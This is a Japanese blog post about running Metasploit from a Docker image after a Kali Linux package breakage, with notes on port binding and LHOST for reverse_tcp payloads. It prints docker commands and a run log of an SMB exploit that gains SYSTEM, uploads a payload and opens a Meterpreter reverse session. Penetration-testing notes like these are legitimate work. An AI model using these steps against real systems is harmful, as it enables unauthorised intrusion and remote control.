ペネトレーションしのべくん

さようなら、すべてのセキュリティエンジニア

Kali LinuxのMetasploitが使えなくなったら、Dockerイメージを使えばいいじゃない

はじめに

Kali LinuxのMetasploitが使えなくなって、急遽Dockerイメージで難を逃れた、という話です。

経緯

Kali LinuxのMetasploitが、突如として使えなくなりました。

$ msfconsole 
Could not find activerecord-6.1.4.6, actionpack-6.1.4.6, bcrypt-3.1.16, json-2.6.1, metasploit-concern-4.0.3, metasploit-credential-5.0.5, metasploit_data_models-5.0.4, metasploit-model-4.0.3, msgpack-1.4.5, network_interface-0.0.2, nokogiri-1.13.1-x86_64-linux, packetfu-1.1.13, pcaprub-0.13.1, pg-1.3.2, railties-6.1.4.6, recog-2.3.22, octokit-4.22.0, redcarpet-3.5.1, puma-5.6.2, thin-1.8.1, em-http-request-1.1.7, http-cookie-1.0.4, rspec-rerun-1.1.0, rails-6.1.4.6, bson-4.14.1, dnsruby-1.61.9, ed25519-1.3.0, bcrypt_pbkdf-1.1.0, winrm-2.3.6, sqlite3-1.4.2, xdr-3.0.3, hrr_rb_ssh-ed25519-0.4.2, irb-1.3.6, aws-sdk-s3-1.112.0, faye-websocket-0.11.1, eventmachine-1.2.7, ruby-oci8-2.2.10, actionview-6.1.4.6, rails-dom-testing-2.0.3, rails-html-sanitizer-1.4.2, arel-helpers-2.14.0, racc-1.6.0, nio4r-2.5.8, em-socksify-0.3.2, http_parser.rb-0.8.0, domain_name-0.5.20190701, actioncable-6.1.4.6, actionmailbox-6.1.4.6, actionmailer-6.1.4.6, actiontext-6.1.4.6, activejob-6.1.4.6, activestorage-6.1.4.6, sprockets-rails-3.4.2, simpleidn-0.2.1, gssapi-1.3.1, io-console-0.5.11, websocket-driver-0.7.5, loofah-2.14.0, unf-0.1.4, ffi-1.15.5, unf_ext-0.0.8 in any of the sources
Run `bundle install` to install missing gems.

bundle installを試みてもダメ、apt removeして入れ直すことも試してみたのですが、依存関係もひっちゃかめっちゃかになってしまっており、どうにもできない状態でした。OS再インストールも時間の制約があって無理だったので、Dockerイメージに縋ったところ、うまくいきました。

hub.docker.com


※2022-09-21追記

metasploitframework/metasploit-framework、オフィシャルなリポジトリなのかよく分からない問題。一応登録情報自体は、開発元のRapid7っぽくはあるのですが。

hub.docker.com

これとは別に、Rapid7としての登録は別で存在しているみたい。

hub.docker.com

一応、Parrot Securityのリポジトリも置いておきます。手元でrunしてみたところ、こちらはPostgreSQLとNmapが同梱されているようでした。

hub.docker.com

Rapid7のMetasploit関係っぽいリポジトリは、あんまりメンテナンスされていない感じ……?

hub.docker.com


使い方

普通にpullしてrunすると、いつものプロンプトが顔を見せてくれます。ポートバインドはリバースシェルを確立する時のリッスンポートや、Meterpreterのportfwdをする時にホストOSからの通信を受け付けるためのものです*1

$ docker pull metasploitframework/metasploit-framework
$ docker run -p 4440-4450:4440-4450 -it metasploitframework/metasploit-framework

注意事項

windows/meterpreter/reverse_tcp などのペイロードを使ってコネクションを確立する場合、LHOSTをホストOSのIPアドレスにする必要があります。これをメモしておきたいがための記事です。

全く裏をとっていない適当なことを言いますが、LHOSTには以下の2つの役割があると思われます。

  • ペイロードに設定される、接続先IPアドレス
  • ↑の接続を待ち受けるために、Metasploitホストがリッスンするアドレス

したがって、コンテナのIPアドレスだったりすると到達性の問題で都合が悪いのだと思います。コンテナ自身はそのIPアドレスを持たないので、ターゲットからの通信を0.0.0.0で待ち受けます(以下のログ1〜2行目を参照)。

msf6 exploit(omitted) > run

[-] Handler failed to bind to 192.0.2.1:4444:-  -
[*] Started reverse TCP handler on 0.0.0.0:4444
[*] 198.51.100.1:445 - Target OS: Windows 5.1
[*] 198.51.100.1:445 - Filling barrel with fish... done
[*] 198.51.100.1:445 - <---------------- | Entering Danger Zone | ---------------->
[*] 198.51.100.1:445 -       [*] Preparing dynamite...
[*] 198.51.100.1:445 -               [*] Trying stick 1 (x86)...Boom!
[*] 198.51.100.1:445 -       [+] Successfully Leaked Transaction!
[*] 198.51.100.1:445 -       [+] Successfully caught Fish-in-a-barrel
[*] 198.51.100.1:445 - <---------------- | Leaving Danger Zone | ---------------->
[*] 198.51.100.1:445 - Reading from CONNECTION struct at: 0x8216e290
[*] 198.51.100.1:445 - Built a write-what-where primitive...
[+] 198.51.100.1:445 - Overwrite complete... SYSTEM session obtained!
[*] 198.51.100.1:445 - Selecting native target
[*] 198.51.100.1:445 - Uploading payload... mtZMSrbZ.exe
[*] 198.51.100.1:445 - Created \mtZMSrbZ.exe...
[+] 198.51.100.1:445 - Service started successfully...
[*] Sending stage (175174 bytes) to 198.51.100.1
[*] 198.51.100.1:445 - Deleting \mtZMSrbZ.exe...
[*] Meterpreter session 2 opened (172.17.0.2:4444 -> 198.51.100.1:3731) at 2022-09-18 12:33:44 +0000

おわりに

パッケージ管理システムの依存関係ぶっ壊れ、解消できる人っているんでしょうか?再インストールとか、新しいインスタンス立てるとかで対処するのしか見たことないんですが。

何はともあれDocker便利だなというのと、ポートバインドやLHOSTはネットワークを理解していなかったら延々ハマっていたと思うので、ネットワークやっててよかったなと思いました(小並感)。

*1:きっと必要だと思って指定していますが、指定しないパターンの検証はしていません